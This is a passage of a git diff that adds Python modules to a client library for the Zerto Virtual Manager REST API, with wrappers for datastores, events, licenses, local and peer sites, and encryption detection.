ForceReconfigurationOfNewVM = 16 + ClearSite = 17 + ForceRemoveProtectionGroup = 18 + ForceUpdateProtectionGroup = 19 + ForceKillProtectionGroup = 20 + PrePostScript = 21 + InitFullSync = 22 + Pair = 23 + Unpair = 24 + InstallCloudConnector = 25 + UninstallCloudConnector = 26 + RedeployCloudConnector = 27 + ScriptExecutionFailure = 28 + SetAdvancedSiteSettings = 29 + Clone = 30 + KeepDisk = 31 + FailoverBeforeCommit = 32 + FailoverCommit = 33 + FailoverRollback = 34 + MoveBeforeCommit = 35 + MoveRollback = 36 + MoveCommit = 37 + MaintainHost = 38 + UpgradeVra = 39 + MoveProtectionGroupToManualOperationNeeded = 40 + ChangeVraIpSettings = 41 + PauseProtectionGroup = 42 + ResumeProtectionGroup = 43 + UpgradeZVM = 44 + BulkUpgradeVras = 45 + BulkUninstallVras = 46 + AlertTurnedOn = 47 + AlertTurnedOff = 48 + ChangeVraPassword = 49 + ChangeRecoveryHost = 50 + BackupProtectionGroup = 51 + CleanupProtectionGroupVipDiskbox = 52 + RestoreProtectionGroup = 53 + PreScript = 54 + PostScript = 55 + RemoveVmFromVc = 56 + ChangeVraPasswordIpSettings = 57 + FlrJournalMount = 58 + FlrJournalUnmount = 59 + Login = 60 + + @classmethod + def get_name_by_value(cls, value): + for member in cls: + if member.value == value: + return member.name + return None + +class ZertoEventCategory(Enum): + All = 0 + Events = 1 + Alerts = 2 + + @classmethod + def get_name_by_value(cls, value): + for member in cls: + if member.value == value: + return member.name + return None + +class ZertoCommitPolicy(Enum): + Rollback = 0 + Commit = 1 + NONE = 2 # Using NONE instead of None as None is a Python keyword + + @classmethod + def get_name_by_value(cls, value): + for member in cls: + if member.value == value: + return member.name + return None + +class ZertoShutdownPolicy(Enum): + NONE = 0 # Using NONE instead of None as None is a Python keyword + Shutdown = 1 + ForceShutdown = 2 + + @classmethod + def get_name_by_value(cls, value): + for member in cls: + if member.value == value: + return member.name + return None + +class ZertoVRAIPConfigType(Enum): + Dhcp = 0 + Static = 1 + + @classmethod + def get_name_by_value(cls, value): + for member in cls: + if member.value == value: + return member.name + return None + +class ZertoVPGSettingsBackupRetentionPeriod(Enum): + OneWeek = 0 + OneMonth = 1 + ThreeMonths = 2 + SixMonths = 3 + NineMonths = 4 + OneYear = 5 + + @classmethod + def get_name_by_value(cls, value): + for member in cls: + if member.value == value: + return member.name + return None + +class ZertoVPGSettingsBackupSchedulerDOW(Enum): + Sunday = 0 + Monday = 1 + Tuesday = 2 + Wednesday = 3 + Thursday = 4 + Friday = 5 + Saturday = 6 + + @classmethod + def get_name_by_value(cls, value): + for member in cls: + if member.value == value: + return member.name + return None + +class ZertoVPGSettingsBackupSchedulerPeriod(Enum): + Daily = 0 + Weekly = 1 + + @classmethod + def get_name_by_value(cls, value): + for member in cls: + if member.value == value: + return member.name + return None + +class ZertoTweakType(Enum): + ZVM = "zvm-tweak" + VRA = "vra-tweak" + Frontend = "frontend-tweak" + + @classmethod + def get_name_by_value(cls, value): + for member in cls: + if member.value == value: + return member.name + return None diff --git a/zvml/datastores.py b/zvml/datastores.py new file mode 100644 index 0000000..e6ddcd3 --- /dev/null +++ b/zvml/datastores.py @@ -0,0 +1,45 @@ +# Legal Disclaimer +# This script is an example script and is not supported under any Zerto support program or service. +# The author and Zerto further disclaim all implied warranties including, without limitation, +# any implied warranties of merchantability or of fitness for a particular purpose. +# In no event shall Zerto, its authors or anyone else involved in the creation, +# production or delivery of the scripts be liable for any damages whatsoever (including, +# without limitation, damages for loss of business profits, business interruption, loss of business +# information, or other pecuniary loss) arising out of the use of or the inability to use the sample +# scripts or documentation, even if the author or Zerto has been advised of the possibility of such damages. +# The entire risk arising out of the use or performance of the sample scripts and documentation remains with you. + +import requests +import logging + +class Datastores: + def __init__(self, client): + self.client = client + + def list_datastores(self, datastore_identifier=None): + if datastore_identifier: + logging.info(f"Datastores.list_datastores: Fetching datastore information for identifier: {datastore_identifier}...") + url = f"https://{self.client.zvm_address}/v1/datastores/{datastore_identifier}" + else: + logging.info("Datastores.list_datastores: Fetching all datastores information...") + url = f"https://{self.client.zvm_address}/v1/datastores" + + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + try: + response = requests.get(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + if datastore_identifier: + logging.info(f"Datastores.list_datastores: Successfully retrieved datastore information for identifier: {datastore_identifier}.") + else: + logging.info("Datastores.list_datastores: Successfully retrieved all datastores information.") + return response.json() + except requests.exceptions.RequestException as e: + if datastore_identifier: + logging.error(f"Datastores.list_datastores: Failed to get datastore information for identifier {datastore_identifier}: {e}") + else: + logging.error(f"Datastores.list_datastores: Failed to get all datastores information: {e}") + raise \ No newline at end of file diff --git a/zvml/encryptiondetection.py b/zvml/encryptiondetection.py new file mode 100644 index 0000000..1783237 --- /dev/null +++ b/zvml/encryptiondetection.py @@ -0,0 +1,124 @@ +# Legal Disclaimer +# This script is an example script and is not supported under any Zerto support program or service. +# The author and Zerto further disclaim all implied warranties including, without limitation, +# any implied warranties of merchantability or of fitness for a particular purpose. +# In no event shall Zerto, its authors or anyone else involved in the creation, +# production or delivery of the scripts be liable for any damages whatsoever (including, +# without limitation, damages for loss of business profits, business interruption, loss of business +# information, or other pecuniary loss) arising out of the use of or the inability to use the sample +# scripts or documentation, even if the author or Zerto has been advised of the possibility of such damages. +# The entire risk arising out of the use or performance of the sample scripts and documentation remains with you. + +import requests +import logging +import json +from typing import List, Dict + +class EncryptionDetection: + def __init__(self, client): + self.client = client + + def get_encryption_detections(self): + url = f"https://{self.client.zvm_address}/v1/encryptiondetection" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + logging.info(f"EncryptionDetection.get_encryption_detections(zvm_address={self.client.zvm_address})") + try: + response = requests.get(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + return response.json() + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + def get_encryption_detection(self, detection_identifier): + url = f"https://{self.client.zvm_address}/v1/encryptiondetection/{detection_identifier}" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + logging.info(f"EncryptionDetection.get_encryption_detection(zvm_address={self.client.zvm_address}, detection_identifier={detection_identifier})") + try: + response = requests.get(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + return response.json() + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + def get_encryption_detection_types(self): + url = f"https://{self.client.zvm_address}/v1/encryptiondetection/types" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + logging.info(f"EncryptionDetection.get_encryption_detection_types(zvm_address={self.client.zvm_address})") + try: + response = requests.get(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + return response.json() + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + def list_suspected_volumes(self) -> List[Dict]: + """List all suspected encrypted volumes. + + Returns: + List[Dict]: List of suspected encrypted volumes with their details + + Raises: + requests.exceptions.RequestException: If the API request fails + """ + logging.info(f"EncryptionDetection.list_suspected_volumes(zvm_address={self.client.zvm_address})") + url = f"https://{self.client.zvm_address}/v1/encryptiondetection/suspected/volumes" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + try: + response = requests.get(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + result = response.json() + logging.info(f"Successfully retrieved {len(result)} suspected encrypted volumes") + logging.debug(f"EncryptionDetection.list_suspected_volumes result: {json.dumps(result, indent=4)}") + return result + + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise \ No newline at end of file diff --git a/zvml/events.py b/zvml/events.py new file mode 100644 index 0000000..6bd2ed4 --- /dev/null +++ b/zvml/events.py @@ -0,0 +1,241 @@ +# Legal Disclaimer +# This script is an example script and is not supported under any Zerto support program or service. +# The author and Zerto further disclaim all implied warranties including, without limitation, +# any implied warranties of merchantability or of fitness for a particular purpose. +# In no event shall Zerto, its authors or anyone else involved in the creation, +# production or delivery of the scripts be liable for any damages whatsoever (including, +# without limitation, damages for loss of business profits, business interruption, loss of business +# information, or other pecuniary loss) arising out of the use of or the inability to use the sample +# scripts or documentation, even if the author or Zerto has been advised of the possibility of such damages. +# The entire risk arising out of the use or performance of the sample scripts and documentation remains with you. + +import requests +import logging + +class Events: + def __init__(self, client): + self.client = client + + def list_events(self, event_identifier=None, start_date=None, end_date=None, vpg_identifier=None, + site_name=None, site_identifier=None, zorg_identifier=None, event_type=None, + entity_type=None, category=None, user_name=None, alert_identifier=None): + """ + Fetches a list of events or a specific event from the Zerto API with optional filters. + + :param event_identifier: The identifier of the specific event (if fetching a specific event). + :param start_date: The filter interval start date-time (string in date-time format). + :param end_date: The filter interval end date-time (string in date-time format). + :param vpg_identifier: The identifier of the VPG. + :param site_name: The name of the site. + :param site_identifier: The internal ZVM site identifier. + :param zorg_identifier: The identifier of the ZORG. + :param event_type: The event type. + :param entity_type: The entity type to return. + :param category: The event category to return. + :param user_name: The username for which the event occurred. + :param alert_identifier: The alert identifier. + :return: List of events or a specific event based on provided filters. + """ + logging.info(f'Events.list_events(event_identifier={event_identifier}, start_date={start_date}, end_date={end_date}, ' + f'vpg_identifier={vpg_identifier}, site_name={site_name}, site_identifier={site_identifier}, ' + f'zorg_identifier={zorg_identifier}, event_type={event_type}, entity_type={entity_type}, ' + f'category={category}, user_name={user_name}, alert_identifier={alert_identifier})') + + # Determine endpoint based on whether event_identifier is provided + if event_identifier: + events_uri = f"https://{self.client.zvm_address}/v1/events/{event_identifier}" + else: + events_uri = f"https://{self.client.zvm_address}/v1/events" + + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + # Building query parameters + params = {} + if start_date: + params['startDate'] = start_date + if end_date: + params['endDate'] = end_date + if vpg_identifier: + params['vpgIdentifier'] = vpg_identifier + if site_name: + params['siteName'] = site_name + if site_identifier: + params['siteIdentifier'] = site_identifier + if zorg_identifier: + params['zorgIdentifier'] = zorg_identifier + if event_type: + params['eventType'] = event_type + if entity_type: + params['entityType'] = entity_type + if category: + params['category'] = category + if user_name: + params['userName'] = user_name + if alert_identifier: + params['alertIdentifier'] = alert_identifier + + try: + logging.info("Fetching events with specified filters...") + response = requests.get(events_uri, headers=headers, params=params, verify=self.client.verify_certificate) + response.raise_for_status() + events = response.json() + + if not events: + logging.warning("No events found.") + return [] + + return events + + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + except Exception as e: + logging.error(f"Unexpected error: {e}") + raise + + def list_event_types(self): + """ + Fetches a list of event types from the Zerto API. + + :return: List of event types. + """ + logging.info(f'Events.list_event_types(zvm_address={self.client.zvm_address})') + event_types_uri = f"https://{self.client.zvm_address}/v1/events/types" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + try: + logging.info("Fetching event types...") + response = requests.get(event_types_uri, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + event_types = response.json() + + if not event_types: + logging.warning("No event types found.") + return [] + + return event_types + + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + except Exception as e: + logging.error(f"Unexpected error: {e}") + raise + + def list_event_entities(self): + """ + Fetches a list of event entities from the Zerto API. + + :return: List of event entities. + """ + logging.info(f'Events.list_event_entities(zvm_address={self.client.zvm_address})') + event_entities_uri = f"https://{self.client.zvm_address}/v1/events/entities" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + try: + logging.info("Fetching event entities...") + response = requests.get(event_entities_uri, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + event_entities = response.json() + + if not event_entities: + logging.warning("No event entities found.") + return [] + + return event_entities + + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + except Exception as e: + logging.error(f"Unexpected error: {e}") + raise + + def list_event_categories(self): + """ + Fetches a list of event categories from the Zerto API. + + :return: List of event categories. + """ + logging.info(f'Events.list_event_categories(zvm_address={self.client.zvm_address})') + event_categories_uri = f"https://{self.client.zvm_address}/v1/events/categories" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + try: + response = requests.get(event_categories_uri, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + event_categories = response.json() + + if not event_categories: + logging.warning("No event categories found.") + return [] + + return event_categories + + except requests.exceptions.RequestException as e: + logging.error(f"Error fetching event categories: {e}") + return None + + url = f"https://{self.client.zvm_address}/v1/events/types" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + try: + response = requests.get(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + return response.json() + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + except Exception as e: + logging.error(f"Unexpected error: {e}") + raise diff --git a/zvml/failover.py b/zvml/failover.py new file mode 100644 index 0000000..f816cc9 --- /dev/null +++ b/zvml/failover.py @@ -0,0 +1,21 @@ +# Legal Disclaimer +# This script is an example script and is not supported under any Zerto support program or service. +# The author and Zerto further disclaim all implied warranties including, without limitation, +# any implied warranties of merchantability or of fitness for a particular purpose. +# In no event shall Zerto, its authors or anyone else involved in the creation, +# production or delivery of the scripts be liable for any damages whatsoever (including, +# without limitation, damages for loss of business profits, business interruption, loss of business +# information, or other pecuniary loss) arising out of the use of or the inability to use the sample +# scripts or documentation, even if the author or Zerto has been advised of the possibility of such damages. +# The entire risk arising out of the use or performance of the sample scripts and documentation remains with you. + +import requests +import logging + +class Failover: + def __init__(self, client): + self.client = client + + def failover(self, vpg_name, checkpoint_identifier=None, vm_name_list=None, commit_policy=0, time_to_wait_before_shutdown_sec=3600, shutdown_policy=0, is_reverse_protection=False, sync=None): + # Implementation of failover method + pass \ No newline at end of file diff --git a/zvml/license.py b/zvml/license.py new file mode 100644 index 0000000..33d22b7 --- /dev/null +++ b/zvml/license.py @@ -0,0 +1,164 @@ +# Legal Disclaimer +# This script is an example script and is not supported under any Zerto support program or service. +# The author and Zerto further disclaim all implied warranties including, without limitation, +# any implied warranties of merchantability or of fitness for a particular purpose. +# In no event shall Zerto, its authors or anyone else involved in the creation, +# production or delivery of the scripts be liable for any damages whatsoever (including, +# without limitation, damages for loss of business profits, business interruption, loss of business +# information, or other pecuniary loss) arising out of the use of or the inability to use the sample +# scripts or documentation, even if the author or Zerto has been advised of the possibility of such damages. +# The entire risk arising out of the use or performance of the sample scripts and documentation remains with you. + +import requests +import logging + +class License: + def __init__(self, client): + self.client = client + + def get_license(self): + """ + Fetch license information from the Zerto server. + + Returns: + dict: The license information from the Zerto server, or an empty dictionary if no content is returned. + """ + logging.info(f'License.get_license(zvm_address={self.client.zvm_address})') + + url = f"https://{self.client.zvm_address}/v1/license" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + try: + logging.info("Fetching license information...") + response = requests.get(url, headers=headers, verify=self.client.verify_certificate) + + # Handle 204 No Content + if response.status_code == 204: + logging.info("No license information available.") + return {} + + # Raise an error for other non-successful HTTP status codes + response.raise_for_status() + + # Parse the response JSON + license_info = response.json() + logging.info("Successfully fetched license information.") + return license_info + + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error details: {json.dumps(error_details, indent=2)}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + except Exception as e: + logging.error(f"Unexpected error while fetching license information: {e}") + raise + + def put_license(self, license_key): + """ + Add a new license or update an existing one on the Zerto server. + + Args: + license_key (str): The license key to add or update. + + Returns: + dict: The response from the Zerto server, or an empty dictionary if no content is returned. + """ + logging.info(f'License.put_license(zvm_address={self.client.zvm_address}, license_key={license_key})') + + url = f"https://{self.client.zvm_address}/v1/license" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + payload = { + "licenseKey": license_key + } + + try: + logging.info("Adding or updating license...") + response = requests.put(url, json=payload, headers=headers, verify=self.client.verify_certificate) + + # Handle empty response with 200 status code + if response.status_code == 200 and not response.content: + logging.info("License successfully added or updated with no content returned.") + return {} + + # Raise an error for other non-successful HTTP status codes + response.raise_for_status() + + # Parse the response JSON + response_data = response.json() + logging.info("Successfully added or updated license.") + return response_data + + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error details: {json.dumps(error_details, indent=2)}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + except Exception as e: + logging.error(f"Unexpected error while adding or updating license: {e}") + raise + + def delete_license(self): + """ + Delete the current license from the Zerto server. + + Returns: + dict: The response from the Zerto server. + """ + logging.info(f'License.delete_license(zvm_address={self.client.zvm_address})') + + url = f"https://{self.client.zvm_address}/v1/license" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + try: + logging.info("Deleting license...") + response = requests.delete(url, headers=headers, verify=self.client.verify_certificate) + + # Raise an error for non-successful HTTP status codes + response.raise_for_status() + + # Parse the response JSON if available + if response.content: + response_data = response.json() + logging.info("License successfully deleted.") + return response_data + else: + logging.info("License successfully deleted with no content returned.") + return {} + + except requests.exceptions.RequestException as e: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error details: {json.dumps(error_details, indent=2)}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + raise + + except Exception as e: + logging.error(f"Unexpected error while deleting license: {e}") + raise + \ No newline at end of file diff --git a/zvml/localsite.py b/zvml/localsite.py new file mode 100644 index 0000000..a587c06 --- /dev/null +++ b/zvml/localsite.py @@ -0,0 +1,151 @@ +# Legal Disclaimer +# This script is an example script and is not supported under any Zerto support program or service. +# The author and Zerto further disclaim all implied warranties including, without limitation, +# any implied warranties of merchantability or of fitness for a particular purpose. +# In no event shall Zerto, its authors or anyone else involved in the creation, +# production or delivery of the scripts be liable for any damages whatsoever (including, +# without limitation, damages for loss of business profits, business interruption, loss of business +# information, or other pecuniary loss) arising out of the use of or the inability to use the sample +# scripts or documentation, even if the author or Zerto has been advised of the possibility of such damages. +# The entire risk arising out of the use or performance of the sample scripts and documentation remains with you. + +import requests +import logging + +class LocalSite: + def __init__(self, zvm_address, token): + self.zvm_address = zvm_address + self.token = token + self.headers = { + "Authorization": f"Bearer {self.token}", + "Accept": "application/json", + "Content-Type": "application/json" + } + + def get_local_site(self): + logging.info("LocalSite.get_local_site: Fetching local site information...") + url = f"https://{self.zvm_address}/v1/localsite" + try: + response = requests.get(url, headers=self.headers, verify=False) + response.raise_for_status() + logging.info("LocalSite.get_local_site: Successfully retrieved local site information.") + return response.json() + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + except Exception as e: + logging.error(f"Unexpected error: {e}") + raise + + def get_pairing_statuses(self): + logging.info("LocalSite.get_pairing_statuses: Fetching pairing statuses...") + url = f"https://{self.zvm_address}/v1/localsite/pairingstatuses" + try: + response = requests.get(url, headers=self.headers, verify=False) + response.raise_for_status() + logging.info("LocalSite.get_pairing_statuses: Successfully retrieved pairing statuses.") + return response.json() + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + except Exception as e: + logging.error(f"Unexpected error: {e}") + raise + + def send_usage(self): + logging.info("LocalSite.send_usage: Sending local site billing usage...") + url = f"https://{self.zvm_address}/v1/localsite/billing/sendUsage" + try: + response = requests.post(url, headers=self.headers, verify=False) + response.raise_for_status() + if response.content.strip(): + logging.info("LocalSite.send_usage: Successfully sent billing usage data.") + return response.json() + else: + logging.info("LocalSite.send_usage: Successfully sent billing usage data. No content returned.") + return None + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + except Exception as e: + logging.error(f"Unexpected error: {e}") + raise + + def get_login_banner(self): + logging.info("LocalSite.get_login_banner: Fetching login banner settings...") + url = f"https://{self.zvm_address}/v1/localsite/settings/loginBanner" + try: + response = requests.get(url, headers=self.headers, verify=False) + response.raise_for_status() + logging.info("LocalSite.get_login_banner: Successfully retrieved login banner settings.") + return response.json() + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + except Exception as e: + logging.error(f"Unexpected error: {e}") + raise + + def set_login_banner(self, is_enabled, banner_text): + logging.info("LocalSite.set_login_banner: Setting login banner settings...") + url = f"https://{self.zvm_address}/v1/localsite/settings/loginBanner" + payload = { + "isLoginBannerEnabled": is_enabled, + "loginBanner": banner_text + } + try: + response = requests.put(url, headers=self.headers, json=payload, verify=False) + response.raise_for_status() + logging.info("LocalSite.set_login_banner: Successfully set login banner settings.") + return response + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + except Exception as e: + logging.error(f"Unexpected error: {e}") + raise diff --git a/zvml/main.py b/zvml/main.py new file mode 100644 index 0000000..682f976 --- /dev/null +++ b/zvml/main.py @@ -0,0 +1,34 @@ +# Legal Disclaimer +# This script is an example script and is not supported under any Zerto support program or service. +# The author and Zerto further disclaim all implied warranties including, without limitation, +# any implied warranties of merchantability or of fitness for a particular purpose. +# In no event shall Zerto, its authors or anyone else involved in the creation, +# production or delivery of the scripts be liable for any damages whatsoever (including, +# without limitation, damages for loss of business profits, business interruption, loss of business +# information, or other pecuniary loss) arising out of the use of or the inability to use the sample +# scripts or documentation, even if the author or Zerto has been advised of the possibility of such damages. +# The entire risk arising out of the use or performance of the sample scripts and documentation remains with you. + +import argparse +import logging +from zvml import ZVMLClient + +def main(): + parser = argparse.ArgumentParser(description="zvml Client") + parser.add_argument("--zvm_address", required=True, help="ZVM address") + parser.add_argument("--username", required=True, help="Username") + parser.add_argument("--password", required=True, help="Password") + args = parser.parse_args() + + logging.basicConfig(level=logging.INFO) + + try: + client = ZVMLClient(zvm_address=args.zvm_address, username=args.username, password=args.password) + # Example usage + vpgs = client.vpgs.list_vpgs() + logging.info(f"VPGs: {vpgs}") + except Exception as e: + logging.error(f"Error: {e}") + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/zvml/peersites.py b/zvml/peersites.py new file mode 100644 index 0000000..0d9d466 --- /dev/null +++ b/zvml/peersites.py @@ -0,0 +1,275 @@ +# Legal Disclaimer +# This script is an example script and is not supported under any Zerto support program or service. +# The author and Zerto further disclaim all implied warranties including, without limitation, +# any implied warranties of merchantability or of fitness for a particular purpose. +# In no event shall Zerto, its authors or anyone else involved in the creation, +# production or delivery of the scripts be liable for any damages whatsoever (including, +# without limitation, damages for loss of business profits, business interruption, loss of business +# information, or other pecuniary loss) arising out of the use of or the inability to use the sample +# scripts or documentation, even if the author or Zerto has been advised of the possibility of such damages. +# The entire risk arising out of the use or performance of the sample scripts and documentation remains with you. + +import requests +import logging +import time +from .tasks import Tasks + +class PeerSites: + def __init__(self, client): + self.client = client + self.tasks = Tasks(client) + + def get_peer_sites(self): + """ + Get details of all peer sites paired with this site. (Auth) + + Returns: + list: List of peer sites + """ + url = f"https://{self.client.zvm_address}/v1/peersites" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + logging.info("PeerSites.get_peer_sites: Fetching all peer sites...") + try: + response = requests.get(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + return response.json() + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + except Exception as e: + logging.error(f"Unexpected error: {e}") + raise + + def pair_site(self, hostname, token, port=9071, sync=True): + """ + Pairs this site with another site. (Auth) + + Args: + hostname (str): The IP or DNS name for the peer site + token (str): The pairing token generated from the peer site + port (int, optional): The port used to access the peer site. Defaults to 9071. + sync (bool, optional): Wait for the pairing task to complete. Defaults to True. + + Returns: + dict: Pairing result if sync=False, or final task status if sync=True + """ + url = f"https://{self.client.zvm_address}/v1/peersites" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + pairing_data = { + "hostName": hostname, + "port": port, + "token": token + } + + logging.info(f"PeerSites.pair_site: Pairing with site {hostname} at port {port}...") + try: + response = requests.post(url, headers=headers, json=pairing_data, verify=self.client.verify_certificate) + response.raise_for_status() + + if not sync: + return response.json() if response.content else None + + # Get the task identifier from the response + task_id = response.json() + logging.info(f"PeerSites.pair_site pairing submitted, task_id={task_id}") + + if sync: + # Wait for task completion + self.tasks.wait_for_task_completion(task_id, timeout=30, interval=5) + return task_id + return task_id + + except requests.exceptions.RequestException as e: + logging.error(f"Error pairing site: {str(e)}") + if hasattr(e, 'response') and e.response is not None: + logging.error(f"Response content: {e.response.text}") + raise + + def delete_peer_site(self, site_identifier, sync=True): + """ + Unpairs this site with another site. (Auth) + + Args: + site_identifier (str): The identifier of the peer site to delete + sync (bool, optional): Wait for the pairing task to complete. Defaults to True. + """ + url = f"https://{self.client.zvm_address}/v1/peersites/{site_identifier}" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + logging.info(f"PeerSites.delete_peer_site: Deleting peer site {site_identifier}...") + try: + response = requests.delete(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + + if not sync: + return response.json() if response.content else None + + # Get the task identifier from the response + task_id = response.json() + logging.info(f"PeerSites.delete_peer_site unpairing submitted, task_id={task_id}") + + if sync: + # Wait for task completion + self.tasks.wait_for_task_completion(task_id, timeout=30, interval=5) + return task_id + return task_id + + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + except Exception as e: + logging.error(f"Unexpected error: {e}") + raise + + def get_pairing_statuses(self): + """ + Get the list of possible statuses for peer sites pairing. (Auth) + + Returns: + list: List of possible pairing statuses + """ + url = f"https://{self.client.zvm_address}/v1/peersites/pairingstatuses" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + 